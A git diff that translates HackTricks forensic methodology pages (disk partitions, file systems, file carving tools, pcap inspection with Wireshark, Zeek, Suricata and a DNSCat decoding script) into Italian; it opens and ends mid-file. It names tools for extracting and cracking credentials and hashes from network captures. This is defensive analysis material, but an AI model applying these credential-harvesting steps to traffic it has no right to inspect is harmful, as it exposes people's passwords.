(offset 80 e 84 nella tabella). -| Offset | Length | Contents | -| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| Offset | Lunghezza | Contenuti | +| --------- | --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 0 (0x00) | 8 byte | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)su macchine little-endian) | +| 8 (0x08) | 4 byte | Revisione 1.0 (00h 00h 01h 00h) per UEFI 2.8 | +| 12 (0x0C) | 4 byte | Dimensione dell'intestazione in little endian (in byte, di solito 5Ch 00h 00h 00h o 92 byte) | +| 16 (0x10) | 4 byte | [CRC32](https://en.wikipedia.org/wiki/CRC32) dell'intestazione (offset +0 fino alla dimensione dell'intestazione) in little endian, con questo campo azzerato durante il calcolo | +| 20 (0x14) | 4 byte | Riservato; deve essere zero | +| 24 (0x18) | 8 byte | LBA corrente (posizione di questa copia dell'intestazione) | +| 32 (0x20) | 8 byte | LBA di backup (posizione dell'altra copia dell'intestazione) | +| 40 (0x28) | 8 byte | Primo LBA utilizzabile per le partizioni (LBA dell'ultima tabella di partizione primaria + 1) | +| 48 (0x30) | 8 byte | Ultimo LBA utilizzabile (primo LBA della tabella di partizione secondaria − 1) | +| 56 (0x38) | 16 byte | GUID del disco in endian misto | +| 72 (0x48) | 8 byte | LBA iniziale di un array di voci di partizione (sempre 2 nella copia primaria) | +| 80 (0x50) | 4 byte | Numero di voci di partizione nell'array | +| 84 (0x54) | 4 byte | Dimensione di una singola voce di partizione (di solito 80h o 128) | +| 88 (0x58) | 4 byte | CRC32 dell'array delle voci di partizione in little endian | +| 92 (0x5C) | \* | Riservato; deve essere zero per il resto del blocco (420 byte per una dimensione del settore di 512 byte; ma può essere di più con dimensioni del settore maggiori) | -**Partition entries (LBA 2–33)** +**Voci di partizione (LBA 2–33)** -| GUID partition entry format | | | -| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| Formato della voce di partizione GUID | | | +| ------------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | +| Offset | Lunghezza | Contenuti | +| 0 (0x00) | 16 byte | [Tipo di GUID della partizione](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian misto) | +| 16 (0x10) | 16 byte | GUID univoco della partizione (endian misto) | +| 32 (0x20) | 8 byte | Primo LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | +| 40 (0x28) | 8 byte | Ultimo LBA (inclusivo, di solito dispari) | +| 48 (0x30) | 8 byte | Flag di attributo (ad es. il bit 60 indica di sola lettura) | +| 56 (0x38) | 72 byte | Nome della partizione (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unità di codice) | -**Partitions Types** +**Tipi di Partizioni** ![](<../../../images/image (83).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +Altri tipi di partizioni in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -### Inspecting +### Ispezione -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +Dopo aver montato l'immagine forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puoi ispezionare il primo settore utilizzando lo strumento Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Nell'immagine seguente è stato rilevato un **MBR** sul **settore 0** e interpretato: ![](<../../../images/image (354).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +Se fosse stata una **tabella GPT invece di un MBR**, dovrebbe apparire la firma _EFI PART_ nel **settore 1** (che nell'immagine precedente è vuoto). ## File-Systems -### Windows file-systems list +### Elenco dei file system di Windows - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,49 +149,49 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +Il file system **FAT (File Allocation Table)** è progettato attorno al suo componente principale, la tabella di allocazione dei file, posizionata all'inizio del volume. Questo sistema protegge i dati mantenendo **due copie** della tabella, garantendo l'integrità dei dati anche se una è corrotta. La tabella, insieme alla cartella radice, deve trovarsi in una **posizione fissa**, cruciale per il processo di avvio del sistema. -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +L'unità di archiviazione di base del file system è un **cluster, di solito 512B**, composto da più settori. FAT si è evoluto attraverso versioni: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**, che supporta indirizzi di cluster a 12 bit e gestisce fino a 4078 cluster (4084 con UNIX). +- **FAT16**, che migliora a indirizzi a 16 bit, consentendo così di ospitare fino a 65.517 cluster. +- **FAT32**, che avanza ulteriormente con indirizzi a 32 bit, consentendo un impressionante 268.435.456 cluster per volume. -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +Una limitazione significativa in tutte le versioni FAT è la **dimensione massima del file di 4GB**, imposta dal campo a 32 bit utilizzato per la memorizzazione della dimensione del file. -Key components of the root directory, particularly for FAT12 and FAT16, include: +I componenti chiave della directory radice, in particolare per FAT12 e FAT16, includono: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **Nome del File/Cartella** (fino a 8 caratteri) +- **Attributi** +- **Date di Creazione, Modifica e Ultimo Accesso** +- **Indirizzo della Tabella FAT** (che indica il cluster di partenza del file) +- **Dimensione del File** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2** è il file system più comune per le partizioni **non journaling** (**partizioni che non cambiano molto**) come la partizione di avvio. **Ext3/4** sono **journaling** e vengono solitamente utilizzati per le **altre partizioni**. ## **Metadata** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +Alcuni file contengono metadati. Queste informazioni riguardano il contenuto del file che a volte potrebbe essere interessante per un analista poiché, a seconda del tipo di file, potrebbe contenere informazioni come: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- Titolo +- Versione di MS Office utilizzata +- Autore +- Date di creazione e ultima modifica +- Modello della fotocamera +- Coordinate GPS +- Informazioni sull'immagine -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +Puoi utilizzare strumenti come [**exiftool**](https://exiftool.org) e [**Metadiver**](https://www.easymetadata.com/metadiver-2/) per ottenere i metadati di un file. -## **Deleted Files Recovery** +## **Recupero di File Cancellati** -### Logged Deleted Files +### File Cancellati Registrati -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +Come visto in precedenza, ci sono diversi luoghi in cui il file è ancora salvato dopo essere stato "cancellato". Questo perché di solito la cancellazione di un file da un file system segna semplicemente il file come cancellato, ma i dati non vengono toccati. Quindi, è possibile ispezionare i registri dei file (come l'MFT) e trovare i file cancellati. -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +Inoltre, il sistema operativo di solito salva molte informazioni sui cambiamenti del file system e sui backup, quindi è possibile provare a utilizzarli per recuperare il file o quante più informazioni possibili. {{#ref}} file-data-carving-recovery-tools.md @@ -201,11 +199,11 @@ file-data-carving-recovery-tools.md ### **File Carving** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**File carving** è una tecnica che cerca di **trovare file nel bulk di dati**. Ci sono 3 modi principali in cui strumenti come questo funzionano: **Basato su intestazioni e footer dei tipi di file**, basato su **strutture** dei tipi di file e basato sul **contenuto** stesso. -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +Nota che questa tecnica **non funziona per recuperare file frammentati**. Se un file **non è memorizzato in settori contigui**, allora questa tecnica non sarà in grado di trovarlo o almeno parte di esso. -There are several tools that you can use for file Carving indicating the file types you want to search for +Ci sono diversi strumenti che puoi utilizzare per il file carving indicando i tipi di file che desideri cercare. {{#ref}} file-data-carving-recovery-tools.md @@ -213,19 +211,19 @@ file-data-carving-recovery-tools.md ### Data Stream **C**arving -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +Data Stream Carving è simile al File Carving ma **invece di cercare file completi, cerca frammenti interessanti** di informazioni.\ +Ad esempio, invece di cercare un file completo contenente URL registrati, questa tecnica cercherà URL. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### Cancellazione Sicura -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +Ovviamente, ci sono modi per **cancellare "in modo sicuro" file e parte dei registri su di essi**. Ad esempio, è possibile **sovrascrivere il contenuto** di un file con dati spazzatura più volte, e poi **rimuovere** i **registri** dal **$MFT** e **$LOGFILE** riguardanti il file, e **rimuovere le Copie Shadow del Volume**.\ +Potresti notare che anche eseguendo quell'azione potrebbero esserci **altre parti in cui l'esistenza del file è ancora registrata**, e questo è vero e parte del lavoro del professionista forense è trovarle. -## References +## Riferimenti - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 1920c497a..61f4e64dd 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -2,94 +2,86 @@ {{#include ../../../banners/hacktricks-training.md}} -## Carving & Recovery tools +## Strumenti di Carving & Recupero -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +Altri strumenti in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +Lo strumento più comune utilizzato in forense per estrarre file da immagini è [**Autopsy**](https://www.autopsy.com/download/). Scaricalo, installalo e fallo elaborare il file per trovare file "nascosti". Nota che Autopsy è progettato per supportare immagini di disco e altri tipi di immagini, ma non file semplici. ### Binwalk -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: +**Binwalk** è uno strumento per analizzare file binari per trovare contenuti incorporati. È installabile tramite `apt` e il suo sorgente è su [GitHub](https://github.com/ReFirmLabs/binwalk). +**Comandi utili**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se vuoi solo cercare alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati per impostazione predefinita. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ### **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel** è un altro strumento che può essere utilizzato per trovare ed estrarre **file incorporati in un file**. In questo caso, dovrai decommentare dal file di configurazione (_/etc/scalpel/scalpel.conf_) i tipi di file che desideri estrarre. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +Questo strumento è incluso in kali ma puoi trovarlo qui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Questo strumento può scansionare un'immagine e **estrarre pcaps** al suo interno, **informazioni di rete (URL, domini, IP, MAC, email)** e altri **file**. Devi solo fare: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto (password?), **analizza** i **pacchetti** (leggi [**analisi Pcaps**](../pcap-inspection/)), cerca **domini strani** (domini relativi a **malware** o **inesistenti**). ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Puoi trovarlo in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +È disponibile in versioni GUI e CLI. Puoi selezionare i **tipi di file** che vuoi che PhotoRec cerchi. ![](<../../../images/image (242).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +Controlla il [codice](https://code.google.com/archive/p/binvis/) e la [pagina web dello strumento](https://binvis.io/#/). -#### Features of BinVis +#### Caratteristiche di BinVis -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- Visualizzatore di **struttura** visivo e attivo +- Plots multipli per diversi punti di interesse +- Focalizzazione su porzioni di un campione +- **Visualizzazione di stringhe e risorse**, in eseguibili PE o ELF, ad esempio +- Ottenere **pattern** per crittanalisi su file +- **Identificare** algoritmi di packer o encoder +- **Identificare** la steganografia tramite pattern +- **Differenziazione** binaria visiva -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVis è un ottimo **punto di partenza per familiarizzare con un obiettivo sconosciuto** in uno scenario di black-boxing. -## Specific Data Carving Tools +## Strumenti specifici per il Data Carving ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Cerca chiavi AES cercando i loro programmi di chiave. In grado di trovare chiavi da 128, 192 e 256 bit, come quelle utilizzate da TrueCrypt e BitLocker. -Download [here](https://sourceforge.net/projects/findaes/). +Scarica [qui](https://sourceforge.net/projects/findaes/). -## Complementary tools +## Strumenti complementari -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Puoi usare [**viu**](https://github.com/atanunq/viu) per vedere immagini dal terminale.\ +Puoi usare lo strumento da riga di comando linux **pdftotext** per trasformare un pdf in testo e leggerlo. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md index c16bee711..256c52643 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md @@ -1,33 +1,27 @@ -# Pcap Inspection +# Ispezione Pcap {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> Una nota su **PCAP** vs **PCAPNG**: ci sono due versioni del formato di file PCAP; **PCAPNG è più recente e non supportato da tutti gli strumenti**. Potresti dover convertire un file da PCAPNG a PCAP utilizzando Wireshark o un altro strumento compatibile, per poter lavorare con esso in alcuni altri strumenti. -## Online tools for pcaps +## Strumenti online per pcaps -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) -- **Full pcap analysis from the browser in** [**https://apackets.com/**](https://apackets.com/) +- Se l'intestazione del tuo pcap è **rotta** dovresti provare a **ripararla** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- Estrai **informazioni** e cerca **malware** all'interno di un pcap in [**PacketTotal**](https://packettotal.com) +- Cerca **attività malevole** usando [**www.virustotal.com**](https://www.virustotal.com) e [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) +- **Analisi completa del pcap dal browser in** [**https://apackets.com/**](https://apackets.com/) -## Extract Information +## Estrai Informazioni -The following tools are useful to extract statistics, files, etc. +I seguenti strumenti sono utili per estrarre statistiche, file, ecc. ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **Se intendi analizzare un PCAP devi sostanzialmente sapere come usare Wireshark** -You can find some Wireshark tricks in: +Puoi trovare alcuni trucchi di Wireshark in: {{#ref}} wireshark-tricks.md @@ -35,68 +29,60 @@ wireshark-tricks.md ### [**https://apackets.com/**](https://apackets.com/) -Pcap analysis from the browser. +Analisi pcap dal browser. ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. - -**Install** +[**Xplico** ](https://github.com/xplico/xplico)_(solo linux)_ può **analizzare** un **pcap** ed estrarre informazioni da esso. Ad esempio, da un file pcap Xplico estrae ogni email (protocollo POP, IMAP e SMTP), tutti i contenuti HTTP, ogni chiamata VoIP (SIP), FTP, TFTP, e così via. +**Installa** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**Esegui** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +Accesso a _**127.0.0.1:9876**_ con credenziali _**xplico:xplico**_ -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +Poi crea un **nuovo caso**, crea una **nuova sessione** all'interno del caso e **carica il file pcap**. ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Come Xplico, è uno strumento per **analizzare ed estrarre oggetti dai pcap**. Ha un'edizione gratuita che puoi **scaricare** [**qui**](https://www.netresec.com/?page=NetworkMiner). Funziona con **Windows**.\ +Questo strumento è anche utile per ottenere **altre informazioni analizzate** dai pacchetti per poter sapere cosa stava succedendo in modo **più veloce**. ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +Puoi scaricare [**NetWitness Investigator da qui**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funziona in Windows)**.\ +Questo è un altro strumento utile che **analizza i pacchetti** e ordina le informazioni in un modo utile per **sapere cosa sta succedendo all'interno**. ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions +- Estrazione e codifica di nomi utente e password (HTTP, FTP, Telnet, IMAP, SMTP...) +- Estrazione degli hash di autenticazione e cracking utilizzando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +- Creazione di un diagramma di rete visivo (Nodi di rete e utenti) +- Estrazione delle query DNS +- Ricostruzione di tutte le sessioni TCP e UDP - File Carving ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +Se stai **cercando** **qualcosa** all'interno del pcap puoi usare **ngrep**. Ecco un esempio che utilizza i filtri principali: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` - ### Carving -Using common carving techniques can be useful to extract files and information from the pcap: +Utilizzare tecniche di carving comuni può essere utile per estrarre file e informazioni dal pcap: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -104,46 +90,36 @@ Using common carving techniques can be useful to extract files and information f ### Capturing credentials -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +Puoi utilizzare strumenti come [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) per analizzare le credenziali da un pcap o da un'interfaccia live. ## Check Exploits/Malware ### Suricata **Install and setup** - ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**Controlla pcap** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) è uno strumento che -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- Legge un file PCAP ed estrae flussi Http. +- gzip decomprime eventuali flussi compressi +- Scansiona ogni file con yara +- Scrive un report.txt +- Facoltativamente salva i file corrispondenti in una directory ### Malware Analysis -Check if you can find any fingerprint of a known malware: +Controlla se riesci a trovare qualche impronta di un malware noto: {{#ref}} ../malware-analysis.md @@ -151,12 +127,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) è un analizzatore di traffico di rete passivo e open-source. Molti operatori utilizzano Zeek come Network Security Monitor (NSM) per supportare le indagini su attività sospette o dannose. Zeek supporta anche una vasta gamma di compiti di analisi del traffico oltre al dominio della sicurezza, inclusi la misurazione delle prestazioni e la risoluzione dei problemi. -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. +Fondamentalmente, i log creati da `zeek` non sono **pcaps**. Pertanto, sarà necessario utilizzare **altri strumenti** per analizzare i log dove si trova l'**informazione** sui pcaps. ### Connections Info - ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -206,9 +181,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### Informazioni DNS ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -225,8 +198,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## Altri trucchi per l'analisi pcap {{#ref}} dnscat-exfiltration.md @@ -242,10 +214,4 @@ usb-keystrokes.md ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index aba634f34..9ab7e8878 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,11 +1,10 @@ -# DNSCat pcap analysis +# Analisi pcap di DNSCat {{#include ../../../banners/hacktricks-training.md}} -If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content. - -You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**: +Se hai un pcap con dati **esfiltrati da DNSCat** (senza utilizzare la crittografia), puoi trovare il contenuto esfiltrato. +Devi solo sapere che i **primi 9 byte** non sono dati reali ma sono correlati alla **comunicazione C\&C**: ```python from scapy.all import rdpcap, DNSQR, DNSRR import struct @@ -13,25 +12,22 @@ import struct f = "" last = "" for p in 